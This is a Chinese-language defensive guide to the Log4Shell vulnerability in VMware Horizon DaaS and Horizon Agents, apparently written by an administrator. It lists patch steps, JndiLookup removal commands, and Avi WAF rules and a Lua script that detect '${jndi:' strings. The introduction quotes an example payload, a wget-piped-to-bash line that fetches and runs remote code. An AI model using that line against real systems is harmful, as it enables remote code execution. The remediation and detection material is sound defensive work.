一、问题描述
2021 年 12 月 9 日,VMware 威胁分析部门 (TAU) 也注意到Java Log4j 模块中存在大规模、高影响的漏洞。此漏洞称为 Log4Shell,安全跟踪编码为 CVE-2021-44228及后续衍生 CVE-2021-45046。它是一个未经身份验证的远程代码执行 (RCE) 漏洞。它允许攻击者在受影响的系统和工作负载上简单地记录特定的字符串。记录日志的库将字符串解释为命令,而不仅仅是写入日志。例如,攻击者可以使用它web门户登录页面,将攻击字符串放在他们所知道的用户名字段中,访问执行后,将进行web恶意代码由服务器执行。
Log4j 这是一个非常流行的日志库。Java Log4j该模块广泛应用于各种应用场景允许基于 Java 应用程序更好地管理内部事件日志记录;Log4j 中间的漏洞依赖于分析文本字符串的库文件;当 Java 命名和目录界面 (JNDI) 收到包含特定格式的${jndi}当命令日志消息时,会触发漏洞。最常见的攻击中,JNDI 使用轻量级目录可以访问协议 (LDAP) 连接到远程主机 URL,这将导致库直接连接检索和评估结果。根据应用程序记录的相关数据,可以植入恶意字符串 Web 服务器的 HTTP 用户代理到 Minecraft 聊天室新闻等。从以往的攻击经验来看,它主要用于 HTTP URI 恶意负载与用户代理传递。比如: 上面传入的 User-Agent 一旦被子,字符串 Log4j 执行将转换为可执行的执行 Linux 命令行:“(wget -q -O- 192.168.0.0:80)|bash。这意味着外部攻击者可以通过远程系统的未知脚本进行非文件攻击,可以直接进行 Apache 执行过程。
从vmware根据官方错误的信息,一些例子表明,即使是桌面应用程序也可能受到当地数据输入的攻击。由于漏洞可以以多种不同的方式实现,因此很难找到特定数据库的异常操作,而不了解应用程序的上下文。
目前,易受攻击 Log4j 版本范围从 2.0 到 2.15.官方建议部署解决这个漏洞的最新可用性 Log4j 补丁版本;现有建议 Web 搜索服务器日志或其他关键日志jndi:ldap等字符串。
对于 VMware vSphere、VMware Cloud Foundation 和 VMware Cloud 云基础设施产品等 HCX、Site Recovery Manager、NSX-T 云附加组件,如云网关设备,vmware强烈建议限制对管理界面的访问。
二、漏洞影响
2.1 vmware发布的安全建议公告:VMSA-2021-0028.13
受影响的产品有:VMware Horizon、VMware Unified Access Gateway、VMware Horizon DaaS、VMware Horizon Agents Installer这是我们这次关注的主要对象
VMware Horizon VMware vCenter Server VMware HCX VMware NSX-T Data Center VMware Unified Access Gateway VMware WorkspaceOne Access VMware Identity Manager VMware vRealize Operations VMware vRealize Operations Cloud (Cloud Proxy) VMware vRealize Automation VMware vRealize Lifecycle Manager VMware Site Recovery Manager, vSphere Replication VMware Carbon Black Cloud Workload Appliance VMware Carbon Black EDR Server VMware Tanzu GemFire VMware Tanzu GemFire for VMs VMware Tanzu Greenplum Platform Extension Framework VMware Greenplum Text VMware Tanzu Operations Manager VMware Tanzu Application Service for VMs VMware Tanzu Kubernetes Grid Integrated Edition VMware Tanzu Observability by Wavefront Nozzle Healthwatch for Tanzu Application Service Spring Cloud Services for VMware Tanzu Spring Cloud Gateway for VMware Tanzu Spring Cloud Gateway for Kubernetes API Portal for VMware Tanzu Single Sign-On for VMware Tanzu Application Service App Metrics VMware vCenter Cloud Gateway VMware vRealize Orchestrator VMware Cloud Foundation VMware Workspace ONE Access Connector VMware Horizon DaaS VMware Horizon Cloud Connector VMware NSX Data Center for vSphere VMware AppDefense Appliance VMware Cloud Director Object Storage Extension VMware Telco Cloud Operations VMware vRealize Log Insight VMware Tanzu Scheduler VMware Smart Assurance NCM VMware Smart Assurance SAM [Service Assurance Manager] VMware Integrated OpenStack VMware vRealize Business for Cloud VMware vRealize Network Insight VMware Cloud Provider Lifecycle Manager VMware SD-WAN VCO VMware NSX Intelligence VMware Horizon Agents Installer VMware Tanzu Observability Proxy VMware Smart Assurance M&R VMware Harbor Container Registry for TKGI VMware vRealize Operations Tenant App for VMware Cloud Director VMware vRealize True Visibility Suite
更多参看:VMSA-2021-0028.13。
2.2、本次产品影响分析及处理
1)不受 CVE-2021-44228 和 CVE-2021-45046 影响的产品
VMware vSphere ESXi VMware Cloud Director (VCD) VMware Cloud Director Availability VMware NSX Advanced Load Balancer (Avi) VMware Workspace ONE Assist VMware RemoteHelp VMware vCloud Usage Meter VMware Tanzu Kubernetes Grid SaltStack VMware App Volumes VMware ThinApp ThinApp SDK Dynamic Environment Manager (DEM) Workspace ONE Unified Endpoint Management (UEM) VMware Postgres VMware Tanzu RabbitMQ VMware Tanzu RabbitMQ for Kubernetes VMware Tanzu RabbitMQ for VMs VMware Tanzu SQL with Postgres for Kubernetes VMware Tanzu SQL with MySQL for Kubernetes Data Management for VMware Tanzu (DMS) VMware Telco Cloud Automation (TCA) VMware Workstation VMware Fusion VMware Skyline Collector virtual appliance Workspace ONE Intelligence MySQL for TAS (Tanzu Applcation Service) VMware Workstation Player Cloud Director App Launchpad AirWatch Cloud Connector VMware NSX Lastline Defender On-Premises VMware NSX Lastline Defender Hosted/SaaS Update Manager Download Service (UMDS) Metrics Store Event Alerts VMware Workspace ONE Assist for Horizon VMware Tools VMware Tanzu Toolkit for Kubernetes Secure Email Gateway VMware Cloud Director App Launchpad Skyline Health Diagnostics Carbon Black App Control VMware Tanzu Build Service Workspace ONE Tunnel VMware Email Notification Service 2 VMware vRealize Log Insight Cloud Proxy VMware Remote Console (VMRC) VMware Cloud Services Cloud Proxy vRealize AI Cloud Cloud Proxy
2)对于Horizon DaaS :
CVE-2021-44228 和 CVE-2021-45046 已在 Horizon DaaS 9.1.2 及更高版本中得到解决。 VMware 建议您尽快升级到 Horizon DaaS 9.1.2 或更高版本以解决这些问题。
对于Horizon DaaS 9.1.2 之前的版本,如VMware Horizon DaaS 9.0.X 、VMware Horizon DaaS 9.1.X (可升级到9.1.1),可采用如下临时解决方案:
1>下载对应版本的 tgz补丁包:
1、Horizon Daas 9.1.1。 2、Horizon DaaS 9.1.0 。 3、Horizon DaaS 9.0.1 及之前版本。
2>将对应版本的补丁版在HVM的Rundeck管理界面"Rundeck UI --> Projects --> Horizon-DaaS-Artifact-Upload"页面进行上传。或者也可以手动拷贝到HVM主机上的/opt/hvm/hotfixes目录下,执行
chmod 744 file1.tgz
chown -R rundeck:rundeck file1.tgz
3>HVM管理页面更新补丁包信息,单击Refresh Hotfix List执行刷新任务,然后再单击Apply Hotfix to DaaS Appliances修护SP和RM设备;
4>再次Apply Hotfix to DaaS Appliances,对租户的TA进行修护。
5>验证:登录相应的DAAS设备,确认当前Log4j-core模块版本为2.16即可。或者在HVM页面,导航rojects > Horizon-DaaS-HotFix-Managemen>Jobs > Detect Hotfixes on DaaS Appliances,执行完job,就可在页面上查看输出,包括您选择的组织中的所有设备的列表以及安装在每个设备上的修补程序。
sudo find /usr -name log4j-core*.jar //输出类似如下即可
/usr/local/desktone/release/dt-platform-21_1_0/deploy/dt-tenant-node-21.1.0-bin/appblast/WEB-INF/lib/log4j-core-2.16.0.jar
/usr/local/desktone/release/dt-platform-21_1_0/deploy/dt-tenant-node-21.1.0-bin/horizonadmin/WEB-INF/lib/log4j-core-2.16.0.jar
/usr/local/desktone/release/dt-platform-21_1_0/deploy/dt-deployer-lib-21.1.0-bin/lib/log4j-core-2.16.0.jar
注:对Horizon DAAS设备的本次修补,需要对SP和RM,TA设备等进行重启,才能生效;可升级完成后,手动执行重启操作。Horizon Version Manager 会在我们应用修补程序之前和之后所处理设备的。后期可在 vCenter Server 中导航到该设备并选择所需的快照进行设备还原/恢复。
更多参看:官方文档。
上述补丁包修复是通过使用该漏洞无法利用的新版本的 log4j 来防止利用 log4j 漏洞(CVE-2021-44228 和 CVE-2021-45046)。
3)对于Horizon Agents,vmware官方显示只能升级版本来修复
Horizon DaaS 版本 | Horizon Agents Installer (HAI) 版本 | 受影响状态 | 处理建议 |
---|---|---|---|
9.1.x | 21.3.0, 20.4.0 | 不受影响 | 无需修复 |
9.1.x, 9.0.x | 20.3.1 | 受影响 | 1))升级HAI 版本到: 20.3.1 (build 19264881)2)升级Horizon Agent到最新 |
9.1.x, 9.0.x | 20.3.0 | 受影响 | 1)升级HAI 版本到: 20.3.0 (build 19264895)2)升级Horizon Agent到最新 |
:官方agent升级。
:删除 JndiLookup 类
sudo zip -q -d $(find /usr/lib/vmware/viewagent/ -name log4j-core.jar 2>/dev/null) org/apache/logging/log4j/core/lookup/JndiLookup.class
禁用 lookups,之后重启viewagent服务:
/usr/lib/vmware/viewagent/bin/StartAgent.sh
/etc/rc.d/init.d/viewagent
/etc/init/viewagent.conf
/etc/init.d/viewagent.suse
#在上述文件中查找-Dfile.encoding=UTF-8,在其前面增加
-Dlog4j2.formatMsgNoLookups=true
验证:
unzip -l $(find /usr/lib/vmware/viewagent/ -name log4j-core.jar 2>/dev/null) | grep JndiLookup.class | grep -v grep
更多参看本地agent修复。
4)HAi升级:Horizon Agents Installer (HAI)
说明:本文参考kb87101。
5)对于DaaS 8.0.1版本,可关注
VMSA
参考:Apache Log4j2远程代码执行漏洞处理。
6)利用NSX AVI的WAF功能来临时减轻
由于 NSX 高级负载平衡器 (Avi) 平台提供多层应用程序保护,因此可以通过启用不同的功能来保护。VMware建议将 NSX Advanced Load Balancer (Avi) WAF 或 NSX Advanced Load Balancer (Avi) DataScript + IP 信任阻止结合使用。
下载:Avi CRS 2021-4,并在强制模式下启用新规则 4022060 和 4022061。示例如下: 以上还可以通过加2条PRE-CRS 规则来实现,效果一致;在强制模式下, 创建一个PRE-CRS组,将下图中2条规则加入到 PRE-CRS组里:
SecRule REQUEST_LINE|ARGS|ARGS_NAMES|REQUEST_COOKIES|REQUEST_COOKIES_NAMES|REQUEST_BODY|REQUEST_HEADERS|XML:/*|XML://@* "@rx \${(?:jndi|ctx):" "id:4099843,phase:2,block,t:none,t:lowercase,t:urlDecodeUni,multimatch,msg:'CVE-2021-44228 / CVE-2021-45046 log4j vulnerability', tag:'attack-rce', tag:'paranoia-level/1', severity:'CRITICAL'"
#rule2
SecRule REQUEST_LINE|ARGS|ARGS_NAMES|REQUEST_COOKIES|REQUEST_COOKIES_NAMES|REQUEST_BODY|REQUEST_HEADERS|XML:/*|XML://@* "@rx \${
[^}]{0,4}\${" "id:4099844,phase:2,block,t:none,t:lowercase,t:urlDecodeUni,multimatch,msg:'CVE-2021-44228 / CVE-2021-45046 log4j vulnerability evasion', tag:'attack-rce', tag:'paranoia-level/1', severity:'CRITICAL'"
当然你也可直接启用“apache” 保护: 使用 DataScrip来阻止CVE-2021-44228 攻击:
-- detect CVE-2021-44228 Log4j
local function check_for_attack (location, value)
if type(value) == "string" then
lower = string.lower(value)
if string.contains(lower, "${jndi:") then
avi.vs.log("CVE-2021-44228 Log4j attack detected at " .. location)
avi.http.response(400)
end
-- detect evasion
if string.match(lower, "${%a*${") then
avi.vs.log("CVE-2021-44228 Log4j attack (evasion attempt) detected at " .. location)
avi.http.response(400)
end
end
end
local function check_table(location, table)
if table then
for name, value in pairs(table) do
check_for_attack(location, name)
if type(value) == "table" then
for index, value in pairs(value) do
check_for_attack(location .. "." .. name, value)
end
else
check_for_attack(location .. "." .. name, value)
end
end
end
end
local function check_request_body()
-- by default, we only inspect the first 128 kb
body = avi.http.get_req_body(128)
if body then
body = avi.utils.uri_decode(body)
if body then
check_for_attack("BODY", body)
end
end
end
check_table("REQUEST_HEADERS", avi.http.get_header())
check_table("QUERY_ARGS", avi.http.get_query(avi.QUERY_TABLE))
check_for_attack("PATH", avi.http.get_path())
check_for_attack("URI", avi.http.get_uri())
check_request_body()
上述文件会针对攻击验证请求标头的所有部分,并检查是否逃避检测;在应用程序配置文件中启用 request_body_buffering还可检查请求正文。保护示例如下: VMware官方表明,许多不断扫描互联网以查找易受攻击的机器的 IP 实际上都被我们的 IP 信任服务所覆盖,据报道,许多扫描都通过 TOR 网络进行路由。强烈建议使用随附的 NSX 高级负载平衡器 (Avi) IP 信任保护来阻止这些已知威胁参与者访问您的应用程序。 注:在虚拟服务上启用 WAF 和 IP 信任具有先决条件,包括正确调整服务引擎的大小和测试应用程序。因此,不建议直接为生产虚拟服务启用 WAF 和 IP 信任,请谨慎处理。
三、附录
提高 VMware Horizon DaaS 设备中的日志记录级别:登录TA设备
cp -pr /usr/local/desktone/release/active/conf/desktone-log4j.properties /usr/local/desktone/release/active/conf/desktone-log4j.properties.src
vi /usr/local/desktone/release/active/conf/desktone-log4j.properties //将下述的info级别修改为DEBUG
log4j.rootCategory=INFO, FILE
#log4j.appender.FILE=org.jboss.logging.appender.RollingFileAppender
log4j.appender.FILE=com.desktone.logger.FilteringRollingFileAppender
log4j.appender.FILE.errorHandler=org.jboss.logging.util.OnlyOnceErrorHandler
log4j.appender.FILE.File=/var/log/desktone/desktone.log
log4j.appender.FILE.Append=true
log4j.appender.FILE.Threshold=INFO
log4j.appender.FILE.maxFileSize=10MB
log4j.appender.FILE.maxBackupIndex=100
log4j.appender.FILE.layout=org.apache.log4j.PatternLayout
log4j.appender.FILE.layout.ConversionPattern=%d %-5p [%c]-[%t] %m%n
#####################
# Limit categories
#####################
log4j.logger.com.desktone=INFO
log4j.logger.com.desktone.server.accessFabric.FabricDelegateImpl=INFO
log4j.logger.com.desktone.server.database.slony.SlonyProviderImpl=INFO
log4j.logger.org.jboss=INFO
to
log4j.rootCategory=INFO, FILE
#log4j.appender.FILE=org.jboss.logging.appender.RollingFileAppender
log4j.appender.FILE=com.desktone.logger.FilteringRollingFileAppender
log4j.appender.FILE.errorHandler=org.jboss.logging.util.OnlyOnceErrorHandler
log4j.appender.FILE.File=/var/log/desktone/desktone.log
log4j.appender.FILE.Append=true
log4j.appender.FILE.Threshold=DEBUG
log4j.appender.FILE.maxFileSize=10MB
log4j.appender.FILE.maxBackupIndex=100
log4j.appender.FILE.layout=org.apache.log4j.PatternLayout
log4j.appender.FILE.layout.ConversionPattern=%d %-5p [%c]-[%t] %m%n
#####################
# Limit categories
#####################
log4j.logger.com.desktone=DEBUG
log4j.logger.com.desktone.server.accessFabric.FabricDelegateImpl=INFO
log4j.logger.com.desktone.server.database.slony.SlonyProviderImpl=INFO
log4j.logger.org.jboss=INFO